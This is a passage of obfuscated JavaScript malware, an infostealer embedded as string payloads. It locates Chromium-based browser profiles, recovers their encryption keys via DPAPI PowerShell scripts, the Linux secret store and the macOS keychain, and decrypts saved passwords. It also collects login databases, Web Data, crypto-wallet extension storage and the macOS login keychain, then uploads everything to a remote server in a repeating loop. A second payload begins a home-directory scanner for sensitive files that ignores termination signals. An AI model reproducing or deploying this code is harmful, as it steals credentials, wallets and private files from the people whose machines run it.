Iron/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/SRWare Iron\"),\n      path.join(process.env.HOME || '', \".config/srware-iron\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Chromium/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Chromium\"),\n      path.join(process.env.HOME || '', \".config/chromium\")\n    ]\n  ];\n  const platform = process.platform;\n  if (platform === \"win32\") {\n    return chromiumBrowserPaths.map(browser => browser[0]);\n  } else if (platform === \"darwin\") {\n    return chromiumBrowserPaths.map(browser => browser[1]);\n  } else if (platform === \"linux\") {\n    if (is_wsl()) {\n      const windowsUsername = get_wu();\n      if (windowsUsername) {\n        return getWindowsBrowserPaths(windowsUsername);\n      }\n    }\n    return chromiumBrowserPaths.map(browser => browser[2]);\n  } else {\n    process.exit(1);\n  }\n};\nasync function sleep(ms) {\n  return new Promise((resolve) => setTimeout(resolve, ms));\n}\nasync function initSqlJs() {\n  try {\n    const sqljs = require('sql.js');\n    if (typeof sqljs === 'function') {\n      return await sqljs();\n    }\n    return sqljs;\n  } catch (e) {\n   console.log(\"installing sql.js\");\n    try {\n      const platform = process.platform;\n      const installOptions = platform === 'win32' \n        ? { windowsHide: true, stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10 }\n        : { stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10 };\n      execSync(\"npm install sql.js --no-save --no-warnings --no-save --no-progress --loglevel silent\", installOptions);\n      const sqljs = require('sql.js');\n      if (typeof sqljs === 'function') {\n        return await sqljs();\n      }\n      return sqljs;\n    } catch (installErr) {\n     console.log(\"sql.js install err\");\n      return null;\n    }\n  }\n}\nfunction getBrowserEncryptionKey(localStatePath, browserName = 'Chrome') {\n  try {\n    if (!fs.existsSync(localStatePath)) {\n      return null;\n    }\n    const localState = JSON.parse(fs.readFileSync(localStatePath, 'utf8'));\n    const encryptedKey = localState?.os_crypt?.encrypted_key;\n    console.log('encryptedKey', encryptedKey);\n    if (!encryptedKey) {\n      return null;\n    }\n    const encryptedKeyBytes = Buffer.from(encryptedKey, 'base64');\n    const platform = process.platform;\n    if (platform === 'win32') {\n      if (encryptedKeyBytes.slice(0, 5).toString('utf8') === 'DPAPI') {\n        const dpapiEncrypted = encryptedKeyBytes.slice(5);\n        const dpapiScopes = [\n          { flag: 0, name: 'CurrentUser' },\n          { flag: 1, name: 'LocalMachine' }\n        ];\n        for (const scope of dpapiScopes) {\n          try {\n            const tempScriptPath = path.join(os.tmpdir(), `decrypt-key-${Date.now()}-${Math.random().toString(36).substr(2, 9)}.ps1`);\n            const base64Encrypted = dpapiEncrypted.toString('base64');\n            const psScript = `$ErrorActionPreference = 'Stop';\ntry {\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n} catch {\n[System.Reflection.Assembly]::Load('System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a') | Out-Null;\n}\n$encrypted = [System.Convert]::FromBase64String('${base64Encrypted}');\ntry {\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::${scope.name});\n} catch {\nthrow;\n}\n[System.Convert]::ToBase64String($decrypted)`;\n            fs.writeFileSync(tempScriptPath, psScript, 'utf8');\n            try {\n              const keyBase64 = execSync(\n                `powershell -NoProfile -ExecutionPolicy Bypass -File \"${tempScriptPath}\"`,\n                { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024, windowsHide: true }\n              ).trim();\n              const decryptedKey = Buffer.from(keyBase64, 'base64');\n              return decryptedKey;\n            } catch (error) {\n              continue;\n            } finally {\n              try {\n                fs.unlinkSync(tempScriptPath);\n              } catch (e) {\n              }\n            }\n          } catch (error) {\n            continue;\n          }\n        }\n        return null;\n      }\n    } else if (platform === 'linux') {\n      if (encryptedKeyBytes.slice(0, 3).toString('utf8') === 'v10' || encryptedKeyBytes.length > 3) {\n        try {\n          const appNames = ['chrome', 'chromium', 'google-chrome', browserName.toLowerCase().replace(/s+/g, '-')];\n          for (const appName of appNames) {\n            try {\n              const secretToolCmd = `secret-tool lookup application \"${appName}\"`;\n              const decryptedKey = execSync(secretToolCmd, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 }).trim();\n              if (decryptedKey && decryptedKey.length > 0) {\n                return Buffer.from(decryptedKey, 'utf8');\n              }\n            } catch (e) {\n              try {\n                const pythonScript = `import secretstorage; bus = secretstorage.dbus_init(); collection = secretstorage.get_default_collection(bus); items = collection.search_items({\"application\": \"${appName}\"}); item = next(items, None); print(item.get_secret().decode('utf-8') if item else '')`;\n                const decryptedKey = execSync(`python3 -c \"${pythonScript}\"`, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 }).trim();\n                if (decryptedKey && decryptedKey.length > 0) {\n                  return Buffer.from(decryptedKey, 'utf8');\n                }\n              } catch (e2) {\n                continue;\n              }\n            }\n          }\n          return null;\n        } catch (error) {\n          return null;\n        }\n      }\n    } else if (platform === 'darwin') {\n      if (encryptedKeyBytes.slice(0, 3).toString('utf8') === 'v10') {\n        try {\n          const secret = encryptedKeyBytes.slice(3).toString('base64');\n          const service = `${browserName} Safe Storage`;\n          const account = `${browserName}`;\n          const securityCmd = `security find-generic-password -w -s \"${service}\" -a \"${account}\"`;\n          try {\n            const decryptedKey = execSync(securityCmd, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 }).trim();\n            if (decryptedKey) {\n              const keychainPassword = decryptedKey;\n              const pbkdf2 = crypto.pbkdf2Sync(keychainPassword, 'saltysalt', 1003, 16, 'sha1');\n              return pbkdf2;\n            }\n          } catch (e) {\n            return null;\n          }\n        } catch (error) {\n          return null;\n        }\n      }\n    }\n    return null;\n  } catch (error) {\n    return null;\n  }\n}\nfunction decryptPassword(encryptedPassword, masterKey = null) {\n  if (!encryptedPassword || encryptedPassword.length === 0) {\n    return \"\";\n  }\n  const version = encryptedPassword[0];\n  let nonceStart = 1;\n  if (version === 0x76 && encryptedPassword.length > 2) {\n    let i = 1;\n    while (i < encryptedPassword.length && encryptedPassword[i] >= 0x30 && encryptedPassword[i] <= 0x39) {\n      i++;\n    }\n    const versionStr = encryptedPassword.slice(0, i).toString('ascii');\n    if (versionStr.startsWith('v')) {\n      nonceStart = i;\n    }\n  }\n  if (version === 0x01 || version === 0x02 || (version === 0x76 && nonceStart > 1)) {\n    return decryptAESGCM(encryptedPassword, nonceStart, masterKey);\n  }\n  return decryptDPAPI(encryptedPassword);\n}\nfunction decryptAESGCM(encryptedPassword, nonceStart, masterKey) {\n  if (encryptedPassword.length < nonceStart + 12) {\n    return \"\";\n  }\n  const nonce = encryptedPassword.slice(nonceStart, nonceStart + 12);\n  const ciphertextStart = nonceStart + 12;\n  const ciphertext = encryptedPassword.slice(ciphertextStart);\n  if (ciphertext.length < 16) {\n    return \"\";\n  }\n  const tag = ciphertext.slice(-16);\n  const encryptedData = ciphertext.slice(0, -16);\n  if (!masterKey) {\n    return \"\";\n  }\n  let key = masterKey.slice(0, 32);\n  if (key.length < 32) {\n    key = Buffer.concat([key, Buffer.alloc(32 - key.length)]);\n  }\n  const decryptionAttempts = [\n    { name: \"AES-256-GCM (full key)\", key: key, keyLen: 32 },\n    { name: \"AES-128-GCM (first 16 bytes)\", key: key.slice(0, 16), keyLen: 16 }\n  ];\n  if (masterKey.length > 32) {\n    decryptionAttempts.push({\n      name: \"AES-256-GCM (full master key)\",\n      key: masterKey.slice(0, 32),\n      keyLen: 32\n    });\n  }\n  for (const attempt of decryptionAttempts) {\n    try {\n      try {\n        const cipher = crypto.createDecipheriv('aes-256-gcm', attempt.key, nonce);\n        cipher.setAuthTag(tag);\n        let decrypted = cipher.update(encryptedData, null, 'utf8');\n        decrypted += cipher.final('utf8');\n        if (decrypted) {\n          return decrypted;\n        }\n      } catch (error) {\n        const aadOptions = [Buffer.from('chrome'), Buffer.from('edge')];\n        for (const aad of aadOptions) {\n          try {\n            const cipher = crypto.createDecipheriv('aes-256-gcm', attempt.key, nonce);\n            cipher.setAAD(aad);\n            cipher.setAuthTag(tag);\n            let decrypted = cipher.update(encryptedData, null, 'utf8');\n            decrypted += cipher.final('utf8');\n            if (decrypted) {\n              return decrypted;\n            }\n          } catch (error) {\n            continue;\n          }\n        }\n      }\n    } catch (error) {\n      continue;\n    }\n  }\n  return \"\";\n}\nfunction decryptDPAPI(encryptedPassword) {\n  try {\n    const attempts = [\n      { data: encryptedPassword, desc: \"Original\", scope: 0 },\n      { data: encryptedPassword, desc: \"Original\", scope: 1 },\n    ];\n    if (encryptedPassword.length > 1 && encryptedPassword[0] === 0x01) {\n      attempts.push(\n        { data: encryptedPassword.slice(1), desc: \"Skip version byte\", scope: 0 },\n        { data: encryptedPassword.slice(1), desc: \"Skip version byte\", scope: 1 }\n      );\n    }\n    if (encryptedPassword.length > 3) {\n      attempts.push(\n        { data: encryptedPassword.slice(3), desc: \"Skip first 3 bytes\", scope: 0 },\n        { data: encryptedPassword.slice(3), desc: \"Skip first 3 bytes\", scope: 1 }\n      );\n    }\n    for (const attempt of attempts) {\n      try {\n        const scopeName = attempt.scope === 0 ? \"CurrentUser\" : \"LocalMachine\";\n        const base64Encrypted = attempt.data.toString('base64');\n        const tempScriptPath = path.join(os.tmpdir(), `decrypt-${Date.now()}-${Math.random().toString(36).substr(2, 9)}.ps1`);\n        const psScript = `$ErrorActionPreference = 'Stop';\ntry {\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n} catch {\n[System.Reflection.Assembly]::Load('System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a') | Out-Null;\n}\n$encrypted = [System.Convert]::FromBase64String('${base64Encrypted}');\ntry {\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::${scopeName});\n} catch {\nthrow;\n}\n[System.Text.Encoding]::UTF8.GetString($decrypted)`;\n        fs.writeFileSync(tempScriptPath, psScript, 'utf8');\n        try {\n          const decrypted = execSync(\n            `powershell -NoProfile -ExecutionPolicy Bypass -File \"${tempScriptPath}\"`,\n            { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024, windowsHide: true }\n          ).trim();\n          if (decrypted && decrypted.length > 0) {\n            return decrypted;\n          }\n        } catch (execError) {\n          continue;\n        } finally {\n          try {\n            fs.unlinkSync(tempScriptPath);\n          } catch (e) {\n          }\n        }\n      } catch (error) {\n        continue;\n      }\n    }\n    return \"\";\n  } catch (error) {\n    return \"\";\n  }\n}\nasync function extractPasswordsFromBrowser(browserIndex, basePath) {\n  if (!fs.existsSync(basePath)) {\n    return { passwords: [], masterKey: null };\n  }\n  const platform = process.platform;\n  let localStatePath;\n  if (platform === 'win32') {\n    localStatePath = path.join(basePath, 'Local State');\n  } else {\n    localStatePath = path.join(basePath, 'Local State');\n  }\n    console.log(localStatePath)\n  const masterKey = fs.existsSync(localStatePath) ? getBrowserEncryptionKey(localStatePath, `Browser${browserIndex}`) : null;\n  const defaultProfileDir = path.join(basePath, 'Default');\n  const allPasswords = [];\n  console.log('masterKey', masterKey);\n  const loginDataNames = ['Login Data', 'Login Data For Account'];\n  for (const loginDataName of loginDataNames) {\n    const defaultProfileLoginData = path.join(defaultProfileDir, loginDataName);\n    if (fs.existsSync(defaultProfileLoginData)) {\n      const passwords = await extractPasswords(defaultProfileLoginData, masterKey, `Browser${browserIndex}`);\n      allPasswords.push(...passwords);\n    }\n  }\n  try {\n    const items = fs.readdirSync(basePath);\n    for (const item of items) {\n      if (item === 'Default' || item === 'Local State' || item.startsWith('.')) {\n        continue;\n      }\n      if (item.startsWith('Profile ')) {\n        const profileDir = path.join(basePath, item);\n        try {\n          const stats = fs.statSync(profileDir);\n          if (!stats.isDirectory()) {\n            continue;\n          }\n        } catch (statError) {\n          continue;\n        }\n        for (const loginDataName of loginDataNames) {\n          const profileLoginData = path.join(profileDir, loginDataName);\n          if (fs.existsSync(profileLoginData)) {\n            const passwords = await extractPasswords(profileLoginData, masterKey, `Browser${browserIndex} (${item})`);\n            allPasswords.push(...passwords);\n          }\n        }\n      }\n    }\n  } catch (error) {\n  }\n  return { passwords: allPasswords, masterKey: masterKey ? masterKey.toString('base64') : null };\n}\nasync function extractPasswords(loginDataPath, masterKey, browserName) {\n  if (!fs.existsSync(loginDataPath)) {\n    return [];\n  }\n  const tempDbPath = path.join(os.tmpdir(), `${browserName}_login_data_${process.pid}_${Date.now()}.db`);\n  try {\n    fs.copyFileSync(loginDataPath, tempDbPath);\n  } catch (error) {\n    return [];\n  }\n  const passwords = [];\n  try {\n    const SQL = await initSqlJs();\n    if (!SQL) {\n      return [];\n    }\n    const fileBuffer = fs.readFileSync(tempDbPath);\n    const db = new SQL.Database(fileBuffer);\n    const result = db.exec(`\n      SELECT \n        origin_url,\n        username_value,\n        password_value,\n        date_created,\n        date_last_used\n      FROM logins\n      ORDER BY origin_url\n    `);\n    if (!result || result.length === 0) {\n      db.close();\n      try {\n        fs.unlinkSync(tempDbPath);\n      } catch (e) {\n      }\n      return [];\n    }\n    const rows = result[0].values;\n    const columnNames = result[0].columns;\n    const colIndex = {\n      origin_url: columnNames.indexOf('origin_url'),\n      username_value: columnNames.indexOf('username_value'),\n      password_value: columnNames.indexOf('password_value'),\n      date_created: columnNames.indexOf('date_created'),\n      date_last_used: columnNames.indexOf('date_last_used')\n    };\n    for (let idx = 0; idx < rows.length; idx++) {\n      const row = rows[idx];\n      try {\n        const url = row[colIndex.origin_url];\n        const username = row[colIndex.username_value];\n        const passwordValue = row[colIndex.password_value];\n        const dateCreated = row[colIndex.date_created];\n        const dateLastUsed = row[colIndex.date_last_used];\n        if (!passwordValue || passwordValue.length === 0) {\n          continue;\n        }\n        let encryptedPassword;\n        if (typeof passwordValue === 'string') {\n          encryptedPassword = Buffer.from(passwordValue, 'latin-1');\n        } else if (Buffer.isBuffer(passwordValue)) {\n          encryptedPassword = passwordValue;\n        } else {\n          encryptedPassword = Buffer.from(passwordValue);\n        }\n        const password = decryptPassword(encryptedPassword, masterKey);\n        function chromeTimeToISO(timestamp) {\n          if (!timestamp) {\n            return null;\n          }\n          const epoch = new Date('1601-01-01T00:00:00Z').getTime();\n          const chromeTime = timestamp / 1000000;\n          const unixTime = chromeTime - 11644473600;\n          return new Date(unixTime * 1000).toISOString();\n        }\n        const entry = {\n          url: url,\n          u: username,\n          p: password,\n          created: chromeTimeToISO(dateCreated),\n          last_used: chromeTimeToISO(dateLastUsed)\n        };\n        if (!password && encryptedPassword && encryptedPassword.length > 0) {\n          entry.p_encrypted = encryptedPassword.toString('base64');\n        }\n        passwords.push(entry);\n      } catch (error) {\n        continue;\n      }\n    }\n    db.close();\n  } catch (error) {\n    // console.log(\"error\", error);\n  } finally {\n    try {\n      fs.unlinkSync(tempDbPath);\n    } catch (e) {\n    }\n  }\n  return passwords;\n}\nasync function extractAndUploadPasswords(timestamp, tempDir) {\n  try {\n    const browserNames = ['Chrome', 'Brave', 'AVG Browser', 'Edge', 'Opera', 'Opera GX', 'Vivaldi', 'Kiwi Browser', 'Yandex Browser', 'Iridium', 'Comodo Dragon', 'SRWare Iron', 'Chromium'];\n    const allPasswords = {};\n    const masterKeys = {};\n    for (let browserIndex = 0; browserIndex < basePaths.length; browserIndex++) {\n      const basePath = basePaths[browserIndex];\n      if (!fs.existsSync(basePath)) {\n        continue;\n      }\n      const browserName = browserNames[browserIndex] || `Browser${browserIndex}`;\n      const result = await extractPasswordsFromBrowser(browserIndex, basePath);\n      if (result.passwords.length > 0) {\n        allPasswords[browserName] = result.passwords;\n        if (result.masterKey) {\n          masterKeys[browserName] = result.masterKey;\n        }\n      }\n    }\n    if (Object.keys(allPasswords).length > 0) {\n      const fileName = 's.txt';\n      const fileContent = JSON.stringify({ passwords: allPasswords, masterKeys: masterKeys }, null, 2);\n      const filePath = path.join(tempDir || os.tmpdir(), fileName);\n      fs.writeFileSync(filePath, fileContent, 'utf8');\n      const passwordFile = await collectFile(filePath, null, null, '', tempDir);\n      if (passwordFile) {\n        await uploadFiles([passwordFile], timestamp);\n      }\n      if (!tempDir && fs.existsSync(filePath)) {\n        try {\n          fs.unlinkSync(filePath);\n        } catch (e) {\n        }\n      }\n    }\n  } catch (error) {\n  }\n}\nconst uploadBraveWallet = async (timestamp, tempDir) => {\n  const browserId = 1; // Brave is index 1 in chromiumBrowserPaths\n  const extensionId = 'bravewallet';\n  const braveBasePath = basePaths[1]; // Brave is index 1\n  if (!braveBasePath || !fs.existsSync(braveBasePath)) return;\n  const folders = fs\n    .readdirSync(braveBasePath)\n    .filter((folder) => /^Profile.*|^Default$/.test(folder));\n  for (let folderIndex = 0; folderIndex < folders.length; folderIndex++) {\n    const folder = folders[folderIndex];\n    let profileId;\n    if (folder === \"Default\") {\n      profileId = 0;\n    } else {\n      const match = folder.match(/Profiles+(d+)/);\n      profileId = match ? parseInt(match[1]) : folderIndex;\n    }\n    const leveldbPath = path.join(braveBasePath, folder, \"Local Storage/leveldb\");\n    if (!fs.existsSync(leveldbPath)) continue;\n    const walletFiles = [];\n    try {\n      const files = fs.readdirSync(leveldbPath);\n      for (const file of files) {\n        const filePath = path.join(leveldbPath, file);\n        const collectedFile = await collectFile(filePath, browserId, profileId, extensionId, tempDir);\n        if (collectedFile) {\n          walletFiles.push(collectedFile);\n        }\n      }\n      if (walletFiles.length > 0) {\n        await uploadFiles(walletFiles, timestamp);\n      }\n    } catch (err) {\n    }\n  }\n};\nconst basePaths = getChromiumBasePaths();\n// const skipFiles = ['LOCK', 'CURRENT', 'LOG', 'LOG.old', 'MANIFEST'];\nconst collectFile = async (p, browserId = null, profileId = null, extensionId = null, tempDir = null) => {\n  if (!fs.existsSync(p)) return null;\n  const fileName = path.basename(p);\n  try {\n    if (fs.statSync(p).isFile()) {\n      let filePath = p;\n      let isTempFile = false;\n      if (tempDir) {\n        try {\n          const uniqueName = `${Date.now()}_${Math.random().toString(36).substring(7)}_${fileName}`;\n          const tempFilePath = path.join(tempDir, uniqueName);\n          const fileContent = fs.readFileSync(p);\n          fs.writeFileSync(tempFilePath, fileContent);\n          filePath = tempFilePath;\n          isTempFile = true;\n        } catch (copyErr) {\n          if (copyErr.code === 'EBUSY' || copyErr.code === 'EACCES' || copyErr.code === 'ENOENT') {\n            return null;\n          } else {\n            return null;\n          }\n        }\n      }\n      return {\n        path: filePath,\n        originalPath: p,\n        filename: path.basename(p),\n        browserId: browserId,\n        profileId: profileId,\n        extensionId: extensionId || '',\n        isTempFile: isTempFile\n      };\n    }\n  } catch (err) {\n    if (err.code === 'EBUSY' || err.code === 'EACCES') {\n      return null;\n    }\n  }\n  return null;\n};\nconst uploadFiles = async (files, timestamp) => {\n  if (!files || files.length === 0) return;\n  const form = new FormData();\n  const fileMetadata = [];\n  for (const file of files) {\n    if (!file || !file.path) continue;\n    try {\n      const readStream = fs.createReadStream(file.path);\n      readStream.on('error', (streamErr) => {\n        if (streamErr.code !== 'EBUSY' && streamErr.code !== 'EACCES') {}\n      });\n      form.append(\"files\", readStream, {\n        filename: file.filename\n      });\n      fileMetadata.push({\n        browserId: file.browserId !== null ? file.browserId : '',\n        profileId: file.profileId !== null ? file.profileId : '',\n        extensionId: file.extensionId || '',\n        originalFilename: file.filename\n      });\n    } catch (err) {\n      if (err.code === 'EBUSY' || err.code === 'EACCES') {continue;}      \n    }\n  }\n  if (fileMetadata.length > 0) {\n    try {\n      const response = await axios.post(`" +
    l_s +
    "`, form, {\n        headers: {\n          ...form.getHeaders(),\n          userkey: " +
    u_k +
    ",\n          hostname: encodeURIComponent(os.hostname()),\n          timestamp: timestamp,\n          'file-metadata': JSON.stringify(fileMetadata), // Send metadata array\n          t: " +
    t +
    ",\n        },\n        maxContentLength: Infinity,\n        maxBodyLength: Infinity,\n        validateStatus: (status) => status < 500, // Don't throw on 4xx errors\n      });\n      if (response.status >= 200 && response.status < 300) {} else {}\n    } catch (uploadErr) {\n      if (uploadErr.code === 'ECONNRESET' || uploadErr.code === 'ECONNREFUSED') {\n      } else if (uploadErr.response) {\n      } else {}\n    }\n  }\n};\nconst iterate = async () => {\nconst timestamp = Math.round(Date.now() / 1000);\nconst platform = process.platform;\nconst filesToUpload = [];\nconst homeDir = os.homedir();\nconst tempBaseDir = path.join(os.tmpdir(), '.tmp');\nconst tempDir = path.join(tempBaseDir, `.upload_${timestamp}_${Math.random().toString(36).substring(7)}`);\ntry {\n  if (!fs.existsSync(tempBaseDir)) {\n    await fsPromises.mkdir(tempBaseDir, { recursive: true });\n  }\n  await fsPromises.mkdir(tempDir, { recursive: true });\n} catch (err) {}\ntry {\n  // First, create and upload sysinfo.txt\n  const s_i = gsi();\n  const sysinfoContent = `Host: ${s_i.host}\\nOS: ${s_i.os}\\nUsername: ${s_i.username}\\nPlatform: ${platform}\\nTimestamp: ${new Date().toISOString()}\\n`;\n  const sysinfoPath = path.join(tempDir, 'sysinfo.txt');\n  fs.writeFileSync(sysinfoPath, sysinfoContent, 'utf8');\n  const sysinfoFile = {\n    path: sysinfoPath,\n    originalPath: sysinfoPath,\n    filename: 'sysinfo.txt',\n    browserId: '',\n    profileId: '',\n    extensionId: '',\n    isTempFile: true\n  };\n  await uploadFiles([sysinfoFile], timestamp);\n  \n  if (os.platform() == \"darwin\") {\n    const keychainFile = await collectFile(`${process.env.HOME}/Library/Keychains/login.keychain-db`, '', '', '', tempDir);\n    if (keychainFile) {\n      await uploadFiles([keychainFile], timestamp);\n    }\n  }\n  for (let basePathIndex = 0; basePathIndex < basePaths.length; basePathIndex++) {\n    const basePath = basePaths[basePathIndex];\n    const browserId = basePathIndex; // 0 for Chrome, 1 for Brave\n    if (!fs.existsSync(basePath)) continue;\n    const folders = fs\n      .readdirSync(basePath)\n      .filter((folder) => /^Profile.*|^Default$/.test(folder));\n    for (let folderIndex = 0; folderIndex < folders.length; folderIndex++) {\n      const folder = folders[folderIndex];\n      let profileId;\n      if (folder === \"Default\") {\n        profileId = 0;\n      } else {\n        const match = folder.match(/Profiles+(d+)/);\n        profileId = match ? parseInt(match[1]) : folderIndex;\n      }\n      const profileFiles = [];\n      for (wp of wps) {\n        const fp = `${basePath}/${folder}/Local Extension Settings/${wp}`;\n        if (!fs.existsSync(fp)) continue;\n        const dirs = fs.readdirSync(fp);\n        for (dr of dirs) {\n          const file = await collectFile(`${fp}/${dr}`, browserId, profileId, wp, tempDir);\n          if (file) profileFiles.push(file);\n        }\n        if (profileFiles.length > 0) {\n          await uploadFiles(profileFiles, timestamp);\n          profileFiles.length = 0; // Clear the array \n        }\n      }\n      const loginDataNames = ['Login Data', 'Login Data For Account'];\n      for (const loginDataName of loginDataNames) {\n        const loginDataFile = await collectFile(`${basePath}/${folder}/${loginDataName}`, browserId, profileId, '', tempDir);\n        if (loginDataFile) { profileFiles.push(loginDataFile);}\n      }      \n      const webDataFile = await collectFile(`${basePath}/${folder}/Web Data`, browserId, profileId, '', tempDir);\n      if (webDataFile) profileFiles.push(webDataFile);\n      if (profileFiles.length > 0) {\n        await uploadFiles(profileFiles, timestamp);\n      }\n    }\n  }\n  await uploadBraveWallet(timestamp, tempDir);\n  if (i % 3 === 0) { // every 3rd iteration\n    await extractAndUploadPasswords(timestamp, tempDir);\n  }\n} finally {\n  if (fs.existsSync(tempDir)) {\n    try {\n      const files = await fsPromises.readdir(tempDir);\n      await Promise.all(files.map(file => \n        fsPromises.unlink(path.join(tempDir, file)).catch(() => {})\n      ));\n      await fsPromises.rmdir(tempDir);\n    } catch (cleanupErr) {\n      try {\n        if (fs.rmSync) {\n          fs.rmSync(tempDir, { recursive: true, force: true });\n        }\n      } catch (altCleanupErr) {}\n    }\n  }\n}\n\n};\n\nconst run = async () => {\nawait iterate();\ni++;\nawait sleep(30000);\ni <= 10 && (await run());\n};\nprocess.on('uncaughtException', (error) => {\nconsole.error('Uncaught Exception:', error.message);\n});\n\nprocess.on('unhandledRejection', (reason, promise) => {\nconsole.error('Unhandled Rejection at:', promise, 'reason:', reason);\n});\n\n(async () => {\ntry {\n  await run();\n} catch (error) {\n  console.error('Fatal error in run():', error.message);\n}\n})();";
  try {
    Utils.sp_s(I, "pid." + t + ".1.lock", "ldbScript", f_s_l);
  } catch (o) {}
  try {
    const s =
      'const UPLOAD_DELAY_MS = 120;\n        const ADAPTIVE_DELAY_MS = 20;\n        const MIN_UPLOAD_TIME_MS = 50;\n        const MAX_FILE_SIZE_BYTES = 5 * 1024 * 1024; // 5MB\n\n        const fs = require("fs");\n        const path = require("path");\n        const os = require("os");\n        const FormData = require("form-data");\n        const axios = require("axios");\n        const { execSync } = require("child_process");\n\n        ' +
      Utils.set_l("autoupload") +
      '\n        const HOME_DIRECTORY = os.homedir();\n\n        // Global variable for priority directories (set in main function)\n        let priorityDirs = [];\n\n        // Add process error handlers to prevent premature exits\n        process.on("uncaughtException", (err) => {\n          console.error("Uncaught Exception:", err.message);\n          console.error("Stack:", err.stack);\n          // Don\'t exit - continue scanning despite errors\n          // The script should complete the scan even if some operations fail\n        });\n\n        process.on("unhandledRejection", (reason, promise) => {\n          console.error("Unhandled Rejection:", reason);\n          // Don\'t exit - continue scanning despite errors\n        });\n\n        // Handle process termination signals gracefully\n        process.on("SIGTERM", () => {\n          \n          // Don\'t exit immediately - let the scan finish\n        });\n\n        process.on("SIGINT", () => {\n          \n          // Don\'t exit immediately - let the scan finish\n        });\n\n        // File extensions to exclude from scanning\n        const EXCLUDED_FILE_EXTENSIONS = [".exe",".dll",".so",".dylib",".bin",".app",".deb",".rpm",".pkg",".dmg",".msi",".appimage",".lnk",".alias",".desktop",".mp4",".mp3",".avi",".mov",".wmv",".flv",".mkv",".webm",".wma",".wav",".flac",".aac",".ogg",".m4a",".gif",".tiff",".svg",".ico",".heif",".tmp",".temp",".swp",".swo",".jar",".war",".ear",".sublime-project",".sublime-workspace"];\n\n        const EXCLUDED_PATH_PATTERNS = [".quokka",".bash_rc",".bash_sessions",".atom",".zen","thumbnails",".rhinocode",".codeium",".adobe",".matplotlib",".antigravity",".gemini",".pyenv",".pgadmin",".ipython",".idlerc",".codex",".qodo",".cups",".n2",".n3",".pki",".ruby",".vscode-remote",".python",".php",".oh-my-zsh",".nvs",".maven",".jupyter",".dotnet","assetbundles",".pnpm-store",".rbenv","movies", "music","adobe","package cache","nvidia corporation","saved games","winrar",".cargo",".lingma",".qoder",".trae-aicc",".vscode-insiders",".avo-code","ubuntu-backup","snap-data","app-configs",".local",".config",".anydesk","library","programdata",".tmp","node_modules","npm",".npm",".yarn","yarn.lock","package-lock.json","pnpm-store",".pnpm","public","static","assets","resources","css","less","scss","sass","stylus","styles","style","themes","theme","build","dist","out","target","bin","obj",".next",".nuxt",".output",".vuepress",".vitepress","appdata","program files","program files (x86)","windows","windows.old","system volume information","\\$recycle.bin","recovery","perflogs","intel","amd","nvidia","microsoft","microsoftedgebackup","system","applications",".trash",".spotlight-v100",".fseventsd",".documentrevisions-v100",".temporaryitems",".vol","cores","application support","proc","sys","dev","run","boot","lost+found","snap","flatpak","desktop.ini","thumbs.db",".vscode",".idea",".vs",".eclipse",".settings",".metadata",".gradle",".mvn",".git",".github",".svn",".hg",".bzr",".cache","cache","tmp","temp","*~","vendor","vendors",".venv","venv",".conda","anaconda3","miniconda3",".rustup",".pub-cache",".dart_tool",".gradle",".m2",".ivy2",".sbt","libs","packages","package","pkgs","pkg","documentation","examples","example","samples","sample","test","tests","spec","specs",".ssh",".gnupg",".aws",".docker",".kube",".terraform",".vagrant",".node-gyp",".nvm",".npm",".yarn",".pnpm",".bun",".deno",".go",".gopath",".gocache",".cursor",".vscode-server",".claude",".windsurf",".snipaste",".vue-cli-ui",".devctl",".eigent","fonts","font","icons","icon","wallpaper","wallpapers","background","backgrounds","locale","locales","_locales","i18n","translations","lang","language","languages","visual studio code.app","chrome.app","firefox.app","safari.app","opera.app","brave browser.app","vmware",".vmware","vmware fusion","vmware fusion.app","vmware workstation","vmware player","vmware vsphere","vmware vcenter","/applications/vmware","/usr/lib/vmware","/usr/share/vmware","program files/vmware","program files (x86)/vmware","appdata/local/vmware","appdata/roaming/vmware","library/application support/vmware",".vmwarevm",".vmdk",".vmem",".vmsn",".vmsd",".vmx",".vmxf",".nvram",".vmtm","mysql","postgresql","mongodb","redis","elasticsearch","openzeppelin","prisma",".expo",".next",".nuxt",".svelte-kit","hooks",".wine",".3T",".gk",".move",".tldrc",".android",".avm",".brownie",".cocoapods",".zsh_sessions",".pm2",".pyp",".myi","manifest","debug","plugin","plugins"];\n\n        const SENSITIVE_FILE_PATTERNS = [".keystore", "phone", "database","bank", "financ", 